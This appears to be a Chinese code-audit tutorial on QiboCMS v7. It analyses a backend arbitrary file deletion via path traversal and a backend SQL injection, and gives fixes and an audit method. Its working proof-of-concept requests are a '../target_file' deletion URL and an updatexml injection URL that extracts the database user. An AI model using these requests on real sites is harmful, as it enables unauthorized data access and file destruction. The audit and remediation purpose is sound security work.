某CMSv7审计记录
字数 1175 2025-08-29 08:31:47
齐博CMSv7安全审计与漏洞分析教学文档
1. 系统初步了解
1.1 数据库操作类
- 核心数据库操作类为
$db - 类方法定义在
inc/mysql_class.php的MYSQL_DB类中 - 系统核心函数与类文件存放在
inc目录下
1.2 过滤函数分析
系统存在一个基础的过滤函数 filtrate(),但实现不完善:
function filtrate($msg){
$msg = str_replace("\t"," ",$msg);
// 其他替换操作被注释或无效
return $msg;
}
该函数过滤不严格,存在安全隐患。
2. 后台任意文件删除漏洞
2.1 漏洞定位
- 搜索关键函数:在
inc目录下全局搜索unlink - 定位到文件:
inc/function.inc.php - 问题函数:
del_file
2.2 漏洞代码分析
function del_file($path){
if (file_exists($path)){
if(is_file($path)){
if( !@unlink($path) ){
$show.="$path,";
}
} else {
// 目录处理逻辑
}
}
}
该函数直接对$path参数进行文件删除操作,未进行任何路径过滤。
2.3 漏洞触发点
文件:admin/mysql.php
elseif($action=='del'&&$Apower[mysql_del]){
if(!$baktime){ showmsg('请选择一个'); }
del_file(ROOT_PATH."cache/mysql_bak/$baktime");
// ...
}
通过控制$baktime参数,可进行目录穿越攻击。
2.4 漏洞利用方法
- 首先备份数据库文件(位于
\cache\mysql_bak) - 删除备份时修改
baktime参数为../hack - 实际删除路径变为:
ROOT_PATH."cache/mysql_bak/../hack",即ROOT_PATH."hack"
2.5 漏洞验证
构造请求:
/admin/index.php?lfj=mysql&job=del&baktime=../target_file
3. 后台SQL注入漏洞
3.1 漏洞位置
文件:admin/html.php 第296行处
3.2 漏洞代码分析
if($fiddb){
$stringFID=implode(",",$fiddb);
$SQL=" fid IN ($stringFID) ";
}elseif($idDB){
$string=implode(",",$idDB);
$SQL=" id IN ($string) ";
}
$query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
$idDB和$fiddb都从GET传入- 直接拼接SQL语句,无任何过滤
- 使用
implode函数需要传入数组参数
3.3 漏洞利用条件
- 需要传入
action=make_SPhtml进入漏洞代码段 lfj参数需为htmlidDB或fiddb需为数组形式
3.4 漏洞验证POC
使用Burp Suite构造请求:
/admin/index.php?lfj=html&action=make_SPhtml&idDB[]=1)+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))%23
注意:
- 需要将
idDB作为数组传递(使用[]) - 需要URL编码特殊字符(如
#编码为%23) - 使用
+代替空格绕过某些过滤
4. 漏洞修复建议
4.1 任意文件删除漏洞修复
- 在
del_file函数中添加路径验证:
function del_file($path){
// 验证路径是否在允许范围内
$allowed_path = ROOT_PATH."cache/mysql_bak/";
if(strpos(realpath($path), realpath($allowed_path)) !== 0){
die("非法路径");
}
// 原有逻辑
}
- 在调用处添加过滤:
$baktime = basename($baktime); // 只保留文件名部分
del_file(ROOT_PATH."cache/mysql_bak/".$baktime);
4.2 SQL注入漏洞修复
- 使用预处理语句:
if($idDB){
$placeholders = rtrim(str_repeat('?,', count($idDB)), ',');
$SQL = " id IN ($placeholders) ";
$query = $db->prepare("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
$query->execute($idDB);
}
- 至少添加基础过滤:
$idDB = array_map('intval', $idDB); // 强制转为整数
$string = implode(",", $idDB);
5. 审计方法论总结
- 敏感函数追踪:全局搜索
unlink、eval、system等危险函数 - 参数传递分析:跟踪用户输入从获取到使用的完整流程
- 过滤函数评估:检查系统过滤机制是否完善
- 权限验证检查:确认漏洞点是否受权限控制
- 利用条件分析:确定漏洞触发的前置条件
6. 扩展思考
- 后台漏洞的价值评估:虽然需要后台权限,但可能通过XSS或CSRF间接利用
- 漏洞组合利用的可能性:如结合文件删除和文件上传实现更严重攻击
- 自动化审计工具的应用:可使用静态分析工具辅助发现类似漏洞模式